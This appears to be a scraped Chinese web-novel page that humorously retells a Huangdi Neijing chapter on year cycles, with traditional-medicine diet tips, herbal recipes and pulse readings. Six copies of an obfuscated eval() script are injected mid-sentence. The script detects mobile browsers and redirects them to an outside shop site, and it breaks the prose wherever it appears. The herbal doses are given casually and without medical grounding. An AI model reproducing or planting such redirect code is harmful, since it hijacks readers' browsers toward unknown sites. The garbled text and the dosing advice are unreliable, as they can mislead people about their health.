岐伯笑道：“其实啊，理解了这个原理，就可以在生活中加以应用了。比如甲辰年，你可以多吃点山药、扁豆这些健脾的食物，相当于给自己炖了一锅‘太宫汤’。壬寅年呢，就多出去走走，呼吸新鲜空气，让肝气舒畅，比吃任何疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318225|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肝药都管用。至于庚子年，不妨多吃点山楂、萝卜，帮助消化，让你的胃经像跑车一样顺畅。” “至于脉象嘛，其实也是一种反映。比如太徵之年，你的脉象可能会偏洪大有力，这是心火旺盛的表现，这时候就要注意养心安神，别让心火烧得太旺。而少羽之年，脉象可能偏沉细，这是肾气收敛的表现，要适当补肾，多吃黑色食物，比如黑豆、黑芝麻。” 黄帝问：“哎，岐伯啊，你说的这个‘加’是咋回事儿呢？” 岐伯笑了笑，捋了捋他那飘逸的胡须，缓缓说道：“这个嘛，得从天文历法讲起。咱们中医讲究天人合一，那天上的星辰变化，地上的生灵就得跟着调整。所谓的‘加’，就是当年气候异常，要么是太过，要么是不及，这时候如果再加上个‘同天符’——也就是天地的气场特别合拍，那这一年就得小心了，疾病可能会特别多。反过来，如果气候不足，再加上个‘同岁会’——也就是这一年的地支与五行属性特别吻合，同样也容易引发一些特定的健康问题。” 黄帝眨巴眨巴眼睛，一脸恍然大悟的表情：“哦~原来如此，那‘临’又是啥意思呢？听起来挺神秘的。” 岐伯哈哈一笑，解释道：“这个‘临’啊，其实更直白，就是不管太过还是不及，只要它们跟天地的节奏对上号了，我们就称之为‘天符’。只不过呢，这变化的大小、病情的轻重、甚至生死的时间早晚，就各有各的不同了。就像咱们平时看天气预报，同样是下雨，有时候是小雨绵绵，适合谈情说爱；有时候却是暴雨倾盆，得赶紧找地方躲雨，不然就成了落汤鸡啦！” 这章没有结束，请点击下一页继续阅读！ 六元正纪大论第七十一（十二） 话说在丙寅年和丙申年这两年啊，自然界的节奏可有点特别。按照五行八卦那套说法，这时候天上飞的、地下跑的、水里游的，都得跟着“少阳相火”、“太羽水运”、“厥阴木”这三个大佬的节奏来跳舞。咱们一个个来看哈。 首先，“上少阳相火”，你可以想象成是天空中的一把大火炬，温暖中带着点热烈，就像夏天的阳光，火化二，就是说这股火的力量是适中的两倍，让你既觉得温暖又不会热得受不了。但别急，还有“中太羽水运”呢，这可是个大冰块儿，寒化六，意味着寒冷的力量超级加倍，简直就是冬天里的终极BOSS，冷得你直打哆嗦。最后，“下厥阴木”，就是春天的那股生机勃勃的风，风化三，温柔中带着生机，就像春风吹又生的小草，给人希望。 这三者合在一起，就是所谓的“正化日”，也就是自然界最自然、最和谐的运行状态。古人讲究天人合一，咱们人体也得跟着自然界的节奏来调整，不然就容易生病哦。 那么，怎么调整呢？当然是靠吃和药了！这时候，咱们得吃点啥、喝点啥呢？ “其化上咸寒”，说的是这时候咱们得吃点咸味带点寒性的食物或药物，比如海带啊、螃蟹啊，或者是苦寒的黄连之类的，可以帮你清清火，别被天上的大火炬给烤焦了。 “中咸温”，则是要吃点咸味但温性的，比如盐焗鸡（开个玩笑，别真吃太咸了哈），或者是温性的药材，比如附子，可以中和一下那个大冰块儿的寒气，免得冻成冰棍儿。 “下辛温”，就是得吃点辛辣温性的食物或药物，比如姜、蒜、辣椒，或者是桂枝汤这样的温补方剂。桂枝汤啊，那可是个好东西，做法也简单：桂枝9克（大约就是一小把），白芍9克（也是一小把），炙甘草6克（差不多就是一小撮），生姜9克（切片，大概三四片），大枣12枚（记得去核哦）。把这些材料放到锅里，加水煮个20分钟，然后滤掉渣，剩下的汤水就是桂枝汤了，喝起来暖洋洋的，特别适合这时候补补身子。 再来说说脉象吧，这可是中医诊断的绝活之一。这时候，如果你的脉象是那种洪大有力的，就像夏天的大太阳一样，那就说明你可能有点上火了；如果是那种沉迟无力的，就像冬天的寒风一样，那就得注意保暖，别被寒气侵袭了；如果是弦细的，就像春天的嫩叶一样，那就说明你的气血还是比较顺畅的，继续保持哦！ 话说这“丁卯（岁会）、丁酉岁”，听起来就像是两个神秘的时间节点，其实啊，这是中医里的“五运六气”学说里的专业术语，简单来说，就是根据天干地支来预测每年气候变化和人体健康情况的一种方法。丁卯年和丁酉年，就是两个特定的年份，这时候的天地之气有它独特的规律。 “上阳明金”，咱们可以理解为，那年上面的气候特点是干燥、清冷，就像是金秋时节的凉风拂面，对应的脏腑呢，就是肺和大肠，它们都属于“金”这个五行属性。“中少角木运”，哎呀，这说的是中运，也就是那年的主要气候影响力，偏向于“木”，代表生长、生发，但因为是“少角”，所以力度不大，就像春天里细雨绵绵，温柔得很，对应的脏腑是肝和胆，肝喜欢条达，不喜欢被压抑，这时候就要顺着它的性子来。“下少阴火”，则是说下面的气候特点是温暖甚至有点热，像是盛夏的烈日，对应的脏腑是心和小肠，它们得好好“灭火”，保持清凉。 “清化热化胜复同”，这句话挺有意思的，说的是那年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318226|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干燥和炎热的气候会交替出现，就像是在玩“你来我往”的游戏，一个接一个，不分胜负。而“邪气化日也”，则是说这种气候变化可能会导致一些不太好的事情发生，比如疾病，就像是自然界的“小调皮”，时不时来捣乱一下。 “灾三宫”，这个听起来有点吓人，其实是指按照古人的方位划分，可能会影响到某些特定区域的人或事物，咱们现代人听听就好，别太当真，毕竟咱们有现代科学嘛。 接下来是“燥化九，风化三，热化七”，这是说那年干燥、风和热的程度，用数字来表示它们的强度，就像是给气候做了个评分。咱们可以理解为，干燥是9分，风是3分，热是7分，这“正化日”啊，就是自然界正常运行的规律，咱们得顺应它，才能身体健康。 到了“其化上苦小温，中辛和，下咸寒”，这可是咱们食疗养生的宝典了。意思是说，那年要是感觉干燥不舒服，可以多吃点带点苦味又稍微温暖的食物，比如苦菊炖点温和的鸡汤；要是肝不太舒服，就来点辛辣的，但别太猛，比如青椒炒肉丝，中和一下；要是心火旺，那就得吃点咸寒的，比如凉拌海带，给身体降降温。 不过啊，说到方剂，咱们今天就来个现代版的“创意改良”吧！假设你要应对那个“上阳明金”的干燥，咱们可以来个“润肺小甜汤”。材料嘛，就是雪梨一个（约200克），切片，银耳一小朵（约10克），泡发后撕成小朵，再加上点冰糖（约20克），红枣几颗（约15克），一起放到锅里，加水没过材料，小火慢炖个半小时，一碗清甜滋润的“润肺小甜汤”就做好了，既美味又养生，比古人那些苦哈哈的药汁可诱人多了！ 这章没有结束，请点击下一页继续阅读！ 六元正纪大论第七十一（十三） 说到这壬申和壬寅这两个年头啊，它们可真是中医里的“同天符”，就像是天上的双胞胎星星，神秘又带着点儿默契。在中医的五行八卦、天干地支这套宇宙哲学里，它们被赋予了特别的含义。咱们就来聊聊，这两个年份里，自然界的“天气-中运-地气”是怎么配合演出的，还有啊，要是身体出了点儿小状况，该怎么吃、怎么调理，才能顺应天时，保持身体健康。 首先，咱们得知道，壬申和壬寅这两年，上面的“天气”是少阳相火当家，这少阳啊，就像是春天里的一把火，温暖而又不失活力，它代表的是一种生长的力量。而中间的“中运”呢，则是太角木运，这里的“木”可不是随便说说，它象征着生机勃勃，万物复苏，就像是大自然里的树木，到了春天就疯狂地抽枝发芽，那股子劲儿，啧啧，别提多带劲了！至于下面的“地气”，则是厥阴木，它和太角木运遥相呼应，仿佛在说：“看，我们木系就是这么给力！” 接下来，咱们得聊聊这“火化二，风化八”的事儿。这可不是说火要烧两天，风要刮八次那么简单。在中医里，“火化二”指的是少阳相火的力量，虽然热烈，但不过分，恰到好处地温暖着大地；“风化八”则是说，木运这股风啊，吹得那叫一个猛烈，八面玲珑，无处不在，滋养着每一寸土地，每一片叶子。这，就是所谓的“正化日”，大自然的节奏，就是这么和谐，这么完美。 那么，在这样的年份里，咱们要是感觉身体有点儿小恙，该怎么调理呢？别急，中医早就给我们准备好了“药方”——上咸寒，中酸和，下辛凉。听着是不是挺高大上的？其实啊，就是根据五行相生的原理，用食物或药物来平衡身体的阴阳。 “上咸寒”，说的是要是感觉心里有火，或者有点儿烦热，那就吃点儿咸味偏寒的东西，比如海带汤、凉拌黄瓜之类的，既清热又解渴，还能顺便补充点儿碘元素，让心情像海浪一样，一波接一波地平静下来。 “中酸和”，则是针对脾胃这个“中土”来的。脾胃喜欢温和，不喜欢太过刺激，所以这时候，来点儿酸味的食物，比如柠檬蜂蜜水、山楂糕，既能开胃，又能帮助消化，让脾胃这个小宇宙，运转得更加顺畅。 “下辛凉”，则是针对下半身的“肝经”和“胆经”。肝主疏泄，胆主决断，这俩要是堵了，人就容易发脾气，或者犹豫不决。这时候，吃点儿辛凉的食物，比如薄荷茶、凉拌莴笋丝，既能帮助肝气疏泄，又能清凉降火，让你的心情像夏天的微风一样，轻松自在。 不过啊，说到吃药，咱们得提醒一句，是药三分毒，最好还是通过食补来调整。比如，想要清热，可以煮一锅绿豆汤，加点冰糖，既好喝又败火；想要疏肝，那就来一盘炒茼蒿，那清香，保证让你心旷神怡。 至于脉象嘛，这可是中医的独门绝技。壬申、壬寅这两年，要是感觉身体不对劲，摸摸自己的脉，如果发现脉搏跳动得有点儿快，像是小兔子在狂奔，那可能是心火有点旺；要是脉搏摸起来细细的，像是细线一样，那可能是肝血不足，得赶紧补补了。记住，脉象就像是你身体的“晴雨表”，时刻关注它，就能提前发现身体的“小情绪”，然后对症下药，防患于未然。 说到这癸酉年和癸卯年的天气啊，就像是咱们老朋友聚会一样频繁，只不过这次聚会的不是咱们，而是大自然的五行六气！咱们给这俩年份取个昵称吧，就叫它们“同岁会”兄弟好了。好了，言归正传，咱们来看看这“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318227|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同岁会”兄弟俩带来的天气大戏。 想象一下，天空就像是挂了个“上阳明金”的招牌，金光闪闪，但可不是什么好事哦，因为这意味着气候干燥，得多喝水，不然皮肤都得裂成地图了。这还不算完，中间还夹了个“中少徵火运”，就像是火锅里的辣椒，火辣辣地烧着，让人又爱又恨。到了地面呢，又是“下少阴火”，这火上加火，简直是热情如火，让人恨不得找个北极熊抱抱。 不过呢，大自然这位导演可不会让剧情这么单调，它还安排了一场“寒化雨化胜复同”的大戏。简单来说，就是一会儿冷得你直哆嗦，得赶紧裹上棉被；一会儿又热得你汗流浃背，恨不得光膀子上街。这变化无常的天气，简直就是“邪气化日”，让人摸不着头脑。 说到灾害，这“九宫”可得小心了，按照咱们古代的方位说，九宫就是中央和八方，这意味着全国各地都可能受到影响。所以啊，大家得准备好应对各种天气的家伙什儿，别到时候手忙脚乱。 再来说说这气候的“正化日”，就是它本该有的样子。燥化是九，热化是二，就像是火锅里的食材，有的多有的少，但都是一锅里的。这告诉我们，干燥和热是这一年的主旋律，得好好调理身体，不然可得吃苦头。 说到调理，咱们得来点实际的，那就是“药食宜”。上面的燥，咱们用点苦小温的东西来滋润，比如喝点菊花茶，清热解毒；中间的火，咱们就用点咸温的，比如吃点海带，滋阴降火；下面的火，咱们就用点咸寒的，比如来点绿豆汤，清凉解暑。这简直就是大自然的“美食攻略”，咱们得好好利用。 小主，这个章节后面还有哦，请点击下一页继续阅读，后 面更精彩！ 六元正纪大论第七十一（十四） 话说这“己卯、己酉岁”，听起来就像是两个神秘的时间节点，对吧？其实啊，它们就是古代用来记录年份的干支纪年法里的两个年份。在这两年里，自然界的五行运转可是有点特别哦！ 首先，咱们说这“上阳明金”，听起来就像武侠小说里的绝世武功，但其实它是说这一年天上的气候特点，属于阳明燥金之气主导。想象一下，空气里弥漫着一种干燥又清新的感觉，就像秋天那种凉爽又略带萧瑟的气息。 接着，“中少宫土运”，这“少宫”啊，其实就是指的五行中的“土”行，而“土运”呢，就是说这一年的中运（也就是天地间的主运气）是土运。土嘛，大家都知道，是万物生长的基础，所以这土运一来，感觉天地间都充满了生机和稳重。 再来看“下少阴火”，这“少阴火”就像是藏在心底的小火苗，温暖而又不可或缺。它代表着这一年的地气，也就是地下的能量，是少阴之火在默默燃烧，给大地带来温暖。 然后，“风化清化胜复同”，这句话听起来挺玄乎的，其实就是说啊，这一年里，风（代表阳明金之气）和清（代表干燥清新的气息）这两种力量相互交织，你来我往，不分胜负，维持着一种微妙的平衡。 “邪气化度也”，这个“邪气”可不是什么妖魔鬼怪，而是指那些不太正常的气候变化或者病邪之气。这句话就是说，这些邪气在这一年里也有它们自己的变化规律，咱们得小心提防。 “灾五宫”，这“五宫”在古代中医里啊，其实指的是五脏中的“脾”（在五行中对应“土”），也就是说这一年里，脾脏可能容易受到一些影响，咱们得好好养护它。 接下来是“清化九，雨化五，热化七”，这些数字啊，是古代中医用来描述气候变化对自然界万物影响程度的量化指标。简单来说，“清化九”就是说干燥清新的气息特别强烈，有九分；“雨化五”呢，就是说降雨量适中，有五分；“热化七”则是说温暖的气息有七分。 “其化上苦小温，中甘和，下咸寒”，这是说在这一年里，咱们调理身体的时候，上部（对应肺等脏器）可以用点苦味且稍微温热的药物或食物；中部（对应脾胃等脏器）呢，就用点甘甜且性质平和的；下部（对应肾等脏器）呢，就用点咸味且偏寒凉的药物或食物。 说到这里啊，咱们不妨来聊聊具体的药方和食物吧！毕竟，理论归理论，还是得落实到实践上嘛！ 比如说啊，针对上部（肺等脏器），咱们可以用点像杏仁这样的药物，它味道苦中带甜，还有点温热的性质，对润肺止咳特别有帮助。当然啦，吃的时候别吃太多，不然可能会上火哦！ 中部（脾胃等脏器）呢，咱们可以用点大枣、山药这样的食物，它们都是甘甜的，而且性质平和，对脾胃有很好的养护作用。想象一下啊，一碗热腾腾的山药红枣粥下肚，那感觉是不是超级舒服？ 至于下部（肾等脏器）嘛，咱们可以用点像海带这样的食物，它味道咸咸的，还有点寒凉的性质，对清热利尿特别有帮助。不过啊，吃海带的时候也得注意适量哦，不然可能会碘超标呢！ 当然啦，说到脉象啊，这也是中医里非常重要的一环。不过呢，脉象这东西啊，说起来有点复杂，咱们就简单聊聊吧！在这一年里啊，如果你的脉象偏于浮大且有力啊，那可能是阳明金之气太盛了；如果脉象偏于沉迟且无力啊，那可能是少阴火之气不足了。所以啊，咱们平时得多留意自己的脉象变化哦！ 哎哟喂，各位亲爱的小伙伴们，今天咱们来聊聊一段古老而神秘的中医知识， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318228|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保证让你们笑中带学，学中带乐！想象一下，咱们穿越到了古代，手里拿着竹简，身边围着几位老中医，他们正摇头晃脑地讲解着“庚辰、庚戌岁”的那些事儿。别眨眼，精彩即将上演！ 话说在庚辰年和庚戌年啊，这天地间的五行之气可有点不一样哦！上面呢，是太阳水当家做主，就像是大海里的龙王爷，时不时洒点雨露下来；中间呢，太商金运闪亮登场，金子嘛，闪闪发光，冷飕飕的，就像秋天的凉风；最下面呢，是太阴土坐镇，那可是大地妈妈，温柔又包容，滋养万物。这三者一结合，嘿，那叫一个“和谐共生”啊！ 咱们先来聊聊这“寒化一，清化九，雨化五”是咋回事。寒化一，就是说寒冷的力量嘛，就那么一点点，象征性地露个脸；清化九呢，哎呀，这金气可是真厉害，清清爽爽，凉飕飕的，感觉能把人的烦恼都吹跑，而且力量足足有九份之多，简直是秋天的“高冷男神”；雨化五，就是雨水适中，不多不少，刚刚好，滋润万物，就像是温柔的春雨妹妹。这“正化度也”，就是说，这一切都是大自然的正常节奏，咱们得顺着来，别逆天而行哦！ 接下来，咱们说说这“其化上苦热，中辛温，下甘热，药食宜也”。这话听起来挺高大上的，其实很简单。上面的太阳水呢，因为水属阴，但太阳又属阳，所以咱们得用点苦寒的药材或者食物来平衡一下，比如黄连啊，苦是苦了点，但清热解毒，效果杠杠的；中间的太商金运，金气太旺容易伤肺，所以得用点辛温的东西，比如生姜、葱白，既能发散寒气，又能保护咱们的肺宝 宝；下面的太阴土呢，得用点甘甜温热的，比如红枣、枸杞，暖胃又补气，简直是冬日里的小太阳。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 六元正纪大论第七十一（十五） 乙酉年和乙卯年是两个特别有意思的年份，它们就像是自然界的“小调皮”，一边玩着“热化寒化”的游戏，一边还悄悄影响着咱们的身体健康呢！ 想象一下，如果现在是乙酉年或者乙卯年，天空上挂着的是“阳明金”的牌子（其实就是气候偏干燥啦），中间呢，是“少商金运”，听起来就像是金子少了点，运气也差点，但其实是指这一年的金气（也就是干燥之气）不够旺盛。而地面呢，则是“少阴火”在烧，就像咱们冬天里的小太阳，虽然温暖，但有时候也会让人觉得热得受不了。 这时候，大自然就开始玩起了“热化寒化胜复同”的游戏。简单来说，就是一会儿热得你直冒汗，一会儿又冷得你直哆嗦，就像是在玩“冰火两重天”的极限挑战。这种气候的剧烈变化，古人称之为“邪气化度”，意思就是邪气（对身体不好的气）开始肆虐，影响咱们的身体平衡啦！ 更有趣的是，古人还根据这些变化，预测了“灾七宫”。别紧张，这里的“七宫”可不是什么神秘的宫殿，而是指身体的某个部位或者系统容易受到影响。具体是哪里呢？咱们就不深究了，免得大家吓得晚上睡不着觉。 接下来，咱们聊聊怎么应对这些“邪气”吧！古人说：“燥化四，清化四，热化二”，这是什么意思呢？其实就是告诉我们，这一年里，干燥和清凉的气息会占据主导，而热的气息则相对较少。所以，咱们得根据这个来调整饮食和药物。 饮食上呢，可以多吃点滋润的东西，比如雪梨、银耳这些，让身体保持水润。药物上呢，就得根据“上苦小温，中苦和，下咸寒”的原则来选了。听起来很复杂，其实很简单： - “上苦小温”：就是吃点稍微带点苦味，又能稍微温暖身体的东西。比如，咱们可以自制一个“小温暖茶”，材料就是黄连（一点点，因为黄连很苦，但清热效果好）加上几片生姜（生姜能温暖身体）。黄连大约3克，生姜切片5克，泡成茶，喝起来既有点苦又带着姜的温暖，是不是很特别？ - “中苦和”：就是吃点带点苦味，但又能调和身体的东西。比如，咱们可以来个“中和汤”，材料就是黄芩（清热燥湿）和甘草（调和药性）。黄芩大约10克，甘草5克，煮成汤，喝起来苦苦甜甜的，像是在喝一杯特别的“人生哲理”。 - “下咸寒”：就是吃点带点咸味，又能清热的东西。比如，咱们可以来个“清凉海鲜粥”，材料就是海带（咸味，清热）和大米（养胃）。海带一小把，大米50克，煮成粥，吃起来既有海的味道，又能清热解暑，是不是很惬意？ 有那么两年，一个叫丙戌（听起来像是“饼干”和“恶狗”的结合体，但实际上是天符年的代号哦），另一个叫丙辰岁（嗯，可以理解为“冰淇淋生日”，同样也是个特别的年份标志），这两个年份啊，它们的天气地气可有点意思！ 首先，咱们抬头看看天，哦不对，是看看那年的“上太阳水”。这可不是说太阳变成了水做的，而是指那年天上的气候特点偏向于“水”的属性，用咱们现代话来说，就是雨水多，湿度大，感觉空气中都能拧出水来。古人说这是“寒化六”，意思呢，就是这寒气啊，嗖嗖地往上涨，冷得你直打哆嗦，得穿成个才行！ 再瞅瞅地底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318229|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，那时候的地球妈妈，哦不，是“中太羽水运”，简单说就是地下水啊、河流啊都特别活跃，湿气重得跟泡温泉似的。古人称之为“雨化五”，就是说雨水那个充沛啊，简直就是天公作美，给大地洗了个痛快澡。但别忘了，这雨可不是温柔的春雨绵绵，而是带着点寒意的秋雨萧瑟。 咱们踩踩脚下的这片土，“下太阴土”，就是那会儿的大地啊，感觉像是被冻硬的黄油，硬邦邦的，寒气逼人。古人说这是“正化度”，意思是自然界的这些变化都是按规矩来的，该冷就冷，该湿就湿，一点不含糊。 那么，面对这样的天气，咱们的老祖宗们是怎么调养身体的呢？他们说了：“其化上苦热，中咸温，下甘热，药食宜也。” 这句话翻译过来就是： - “上苦热”：天气太湿冷？来点苦味且能发热的食物或药物，比如苦瓜炒辣椒，虽然听起来有点黑暗料理，但吃了保证你从头暖到脚！ - “中咸温”：地下水湿重？那就来点咸味又带点温性的食物，比如盐水煮花生，既解馋又祛湿，两不误！ - “下甘热”：大地寒气逼人？别急，来点甘甜又温热的食物，比如红糖姜茶，暖胃又暖心，让你的小宇宙瞬间燃烧起来！ 说到药方，咱们不得不提一句，古代的药方啊，那可都是讲究个“君臣佐使”，就像是一支足球队，有前锋（主攻）、中场（辅助）、后卫（调和）和门将（稳定），相互配合才能赢球。药方制作咱们就简单举个例子吧，比如一个“祛湿暖心汤”： 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 六元正纪大论第七十一（十六） 有个叫做“辛卯”和“辛酉”的年份，这俩年份啊，就像是孪生兄弟，天文气象上都特别合拍。那时候的天，可不简单，它遵循着一种叫做“上阳明金，中少羽水运，下少阴火”的宇宙大法则。听起来是不是很高大上？别急，咱们慢慢拆解。 首先，“上阳明金”，咱们可以理解为天空像是镀了一层金色的光辉，这金光闪闪的可不是金子哦，而是代表着那时候的气候干燥、清爽，有点像秋天的感觉。接着，“中少羽水运”，说的是雨水稀少，水运不畅，就像是老天爷忘了给大地浇水，干旱得很。最后，“下少阴火”，则是说地底下藏着股小火苗，虽然不大，但足够温暖，让冬天不至于太冷，夏天呢，又添了几分热情。 这一年啊，雨水和风都特别有规律，就像是自然界在按照一个精密的剧本在表演，风雨雷电，各司其职，互不干扰，连“胜复”（也就是自然界的自我调节机制）都同步进行，真是和谐得让人羡慕。不过呢，这也暗示了一种“邪气化度”的现象，就是说，如果这种平衡被打破，可能会有小灾小难找上门，比如干旱、水患之类的，不过别担心，咱们中医可是有办法应对的。 接下来，咱们说说这“清化九，寒化一，热化七”，听起来像是调配鸡尾酒的比例，其实是描述那一年气候的“正化度”。清凉的空气占了九成，寒冷只有一成，而温暖则占了七成，这比例，简直是自然界的完美调和！ 那么，面对这样的气候，咱们该怎么吃呢？古人说了，“其化上苦小温，中苦和，下咸寒”，翻译成大白话就是：上面的干燥天气，吃点略带苦味又稍微温暖的食物，比如苦荞茶配上一点姜丝；中间干旱少雨，就得吃点中和性质的，比如小米粥，既不过分寒也不热；至于地下的那点小火苗，来点咸寒的食物降降火，比如海带汤或者凉拌黄瓜，清凉又爽口。 说到药方，咱们可以举一反三，比如针对干燥，咱们可以自制一个“润肺小能手”汤。材料嘛，就是百合15克（大约一小把），银耳10克（一朵中等大小），雪梨半个切块，冰糖适量。把这些材料放进锅里，加水没过食材，小火慢炖个半小时，一碗滋润心脾的汤就成了，保证你喝完之后，整个人都水润润的！ 至于脉象嘛，咱们可以想象，在那样的气候下，人的脉象可能也会受到影响，变得有点“干巴巴”的，就像是久旱逢甘霖前的土地，缺乏生机。这时候，咱们中医的望闻问切就派上用场了，通过脉象的细微变化，医生能判断出你的身体是否需要更多的滋润，还是该调整一下饮食，多吃点“水当当”的食物。 话说在壬辰年和壬戌年啊，那时候的天地间可热闹了，简直就是一场大自然的交响乐！咱们先说说这“上太阳水”，听起来是不是像某个超级英雄的名字？其实它指的是天上的气候特点，那时候啊，天气冷得跟冰箱似的，寒气逼人，咱们就叫它“太阳水”的寒化作用，强度是六颗星！想象一下，你穿着短袖在北极的感觉，对，就是那个味儿！ 接着是中太角木运，这个听起来像是某个武侠小说里的秘籍吧？其实它是说自然界的风力，那时候的风啊，大得能把你的发型吹成爆炸头，风力指数高达八级！走在街上，你得时刻准备变身“风中凌乱”的代言人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318230|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 再来说说下太阴土，这个就比较接地气了，指的是那时候的雨水情况，雨水适量，刚好够滋润大地，不多也不少，雨化指数五颗星，就像是温柔的春雨绵绵，滋润着万物，让大地妈妈笑得合不拢嘴。 好了，说了这么多，咱们来点实际的，怎么应对这样的气候呢？古人有智慧啊，他们给出了药食建议，咱们来看看： “上苦温”，说的是吃点苦而温的食物，比如苦瓜炒牛肉，苦瓜是苦的，牛肉是温补的，两者一结合，既能去火又能暖身，是不是感觉自己瞬间变成了养生小达人？ “中酸温”，这是要我们吃点酸而温的东西，比如柠檬蜂蜜水，酸酸甜甜，还能暖胃，简直就是冬日里的小太阳嘛！不过，记得别放太多蜂蜜，不然甜到牙疼可别怪我没提醒你哦！ “下甘温”，说的是吃点甘甜而温的食物，比如红枣枸杞粥，红枣甜甜的，枸杞又是温补的，一碗下肚，整个人都暖洋洋的，感觉像是被温暖的大拥抱包围着，幸福感爆棚！ 说到这，你们是不是已经迫不及待想要尝试这些“古代配方”了呢？别急，我还有更精彩的！ 在古代，医生还会根据脉象来判断病情，咱们也来学学，不过我会尽量让它变得有趣一些。想象一下，你的脉象就像是你的私人天气预报员，如果脉象跳得跟兔子一样快，那就是“疾脉”，说明你体内可能有些“小火苗”，得降降温了；如果脉象慢得像蜗牛，那就是“迟脉”，可能是身体有点“懒羊羊”，得加把劲动一动啦！ 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 六元正纪大论第七十一（十七） 黄帝陛下闲来无事，决定找他的老朋友岐伯聊聊养生大道。黄帝陛下捋了捋胡子，一脸认真地问道：“岐伯啊，你说这五运之气，是不是也跟我们人一样，每年都有个年度总结，得来个年度大戏啊？” 岐伯一听，心里暗笑黄帝陛下这比喻真是接地气，便答道：“哎呀，陛下您这比喻真是太妙了！五运之气啊，它就像咱们生活中的小情绪，憋到一定程度，那就得找个出口发泄一下，得有个时机才能爆发出来嘛！” 黄帝一听，觉得岐伯这话里有话，连忙追问：“来来来，岐伯老师，您给详细讲讲，这所谓的‘发泄’是咋回事？” 岐伯清了清嗓子，开始了他的“养生脱口秀”：“咱们说的五常之气啊，就是木、火、土、金、水这五种基本元素在自然界的表现。它们要是太过或者不及，那表现方式可就不一样了，就像咱们人的心情，有时候高兴过头，有时候又抑郁得不行。” 黄帝眨巴眨巴眼睛，似乎还没完全明白：“那，这太过和不及，具体是怎么个发泄法呢？” 岐伯哈哈一笑：“陛下，您别急，听我慢慢道来。比如说吧，这木气要是太过，就像咱们春天的时候，风刮得特别大，树都快吹弯了。这时候，人们就容易肝气郁结，得找个方式疏肝理气，不然就像气球一样，早晚得炸！这就得用到咱们中医里的疏肝穴位，比如太冲穴，那可是肝经上的‘消气阀’啊！轻轻一按，肝气就通顺了。” 黄帝一听，眼睛一亮：“太冲穴？这名字听起来就像是个能冲走烦恼的穴位！那不及呢？” 